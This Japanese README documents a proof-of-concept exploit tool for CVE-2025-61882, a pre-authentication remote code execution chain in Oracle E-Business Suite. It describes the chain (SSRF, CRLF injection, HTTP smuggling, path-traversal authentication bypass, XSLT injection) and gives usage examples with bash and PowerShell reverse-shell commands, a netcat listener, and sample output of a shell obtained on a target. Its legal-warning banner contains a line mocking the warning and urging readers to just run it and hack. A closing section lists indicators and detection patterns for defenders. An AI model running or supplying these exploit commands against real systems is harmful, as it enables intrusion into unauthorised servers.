CVE-2025-61882 セキュリティテストツール

🚨 重要な法的警告

技術的な詳細については、ブログ記事を参照してください

このツールは、許可されたセキュリティテストのみを対象としています

╔══════════════════════════════════════════════════════════════╗
║                                                              ║
║  🚨 コンピュータシステムへの不正アクセスは違法です 🚨   ║
║                                                              ║
║  このツールを使用することで、あなたは以下を理解し同意したことになります:    ║
║                                                              ║
║                                                              ║
║              そんなの関係ねぇ、さっさと実行してハックしろ      ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
╚══════════════════════════════════════════════════════════════╝

📋 概要

CVE-2025-61882 のセキュリティテストツール。これは、Oracle E-Business Suite に影響を与える、認証前の重大なリモートコード実行脆弱性です。

作成者: Mindflare

脆弱性の詳細

CVE ID: CVE-2025-61882
CVSSスコア: 9.8 (クリティカル)
攻撃ベクトル: ネットワーク(認証不要)
攻撃の複雑さ: 中
必要な権限: なし
ユーザーの操作: なし
影響を受けるバージョン: Oracle E-Business Suite 12.2.3 - 12.2.14
パッチ状況: 2025年10月4日に緊急パッチがリリース
悪用状況: ⚠️ 活発に悪用されています (2025年8月以降 Cl0p ランサムウェアによる)

技術概要

CVE-2025-61882 は、5つの異なる脆弱性を組み合わせた高度なエクスプロイトチェーンです:

SSRF - /OA_HTML/configurator/UiServlet を介したサーバーサイドリクエストフォージェリ (SSRF)
CRLFインジェクション - return_url パラメータでの HTTP ヘッダインジェクション
HTTPスマグリング - キープアライブ接続を悪用して内部サービス(ポート7201)に到達
認証バイパス - /OA_HTML/help/../ プレフィックスによるパストラバーサル
XSLTインジェクション - 悪意のあるXSLテンプレート処理によるRCE

🎯 想定されるユースケース

✅ 許容される使用

書面による許可を得た正規の侵入テスト
自身が所有するシステムでのセキュリティ研究
管理されたラボ環境での脆弱性検証
適切な範囲文書があるレッドチーム演習
機関の承認を得た学術研究
インシデント対応とフォレンジック分析

❌ 禁止される使用

許可されていないシステムアクセス
明示的な書面による許可なしでのシステムテスト
悪意のある活動または危害の発生
承認なしの本番システムへの攻撃
犯罪目的での使用
適用される法律に違反する活動

📦 インストール

前提条件

Python 3.7 以上
pip パッケージマネージャー
ターゲットへのネットワーク接続 (許可されたもののみ)
リバースシェル受信用の Netcat または類似のリスナー

セットアップ

# リポジトリのクローン
git clone https://github.com/[YOUR-USERNAME]/CVE-2025-61882-POC
cd CVE-2025-61882-POC

# 依存関係のインストール
pip3 install -r requirements.txt

# スクリプトを実行可能に (Linux/Mac)
chmod +x cve-2025-61882-detector.py

🚀 使い方

ステップ1: リスナーのセットアップ

別のターミナルで、netcat リスナーを起動します:

# Linux/Mac
nc -lvnp 4444

# Windows
nc.exe -lvnp 4444

ステップ2: ツールの実行

基本的な使い方 (Linux ターゲット):

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' \
  --platform linux

Windows ターゲット:

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.10\",4444)"' \
  --platform windows

パラメータ

パラメータ	説明	必須	例
`--target`	ターゲットのOracle EBS URL	はい	`http://192.168.1.22:8000`
`--lhost`	あなたのIPアドレス(コールバック用)	はい	`192.168.1.10`
`--lport`	HTTPサーバーポート(XSLペイロードを提供)	はい	`80` または `8080`
`--command`	ターゲット上で実行するコマンド	はい	上記の例を参照
`--platform`	ターゲットOS: `linux` または `windows`	はい	`linux`

📊 出力例

ツールの出力

[*] Target URL:    http://192.168.1.22:8000
[*] Listener IP:   192.168.1.10
[*] Listener Port: 80
[*] Platform:      linux

[*] HTTP server started on 192.168.1.10:80
[*] Connecting to target to retrieve CSRF token...
[*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0
[*] Cooking HTTP smuggle stub...
[*] Sending exploit payload...
[*] Exploit payload sent successfully

[+] 192.168.1.22 - GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1
[+] XSL payload served successfully

Netcat リスナーの出力 (脆弱な場合)

ubuntu@attacker:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.22 30290
bash: no job control in this shell
[oracle@apps EBS_domain]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
[oracle@apps EBS_domain]$

🛡️ 検出と防御

セキュリティ防御担当者向け

即時対応

Oracle 緊急パッチを適用 (ドキュメントID: 30061882.1)

侵害の調査:

SELECT * FROM XDO_TEMPLATES_B 
WHERE TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%';

アクセスログの確認 (2025年8月以降)
EBSサーバーからのアウトバウンドインターネットをブロック

検出指標

ネットワークIOC:

200.107.207.26 (Cl0p C2)
161.97.99.49 (Secondary)

HTTPパターン:

POST /OA_HTML/configurator/UiServlet
POST /OA_HTML/SyncServlet
GET /OA_HTML/help/../*.jsp
パラメータ内のCRLF文字

📚 参考文献

📜 ライセンス

教育目的利用制限付きMITライセンス - LICENSEをご覧ください

免責事項: このソフトウェアは許可されたセキュリティテスト専用です。コンピュータシステムへの不正アクセスは違法です。作者は誤用に対する一切の責任を負いません。

作成者: Mindflare | 最終更新: 2025年10月

CVE-2025-61882-POC

人気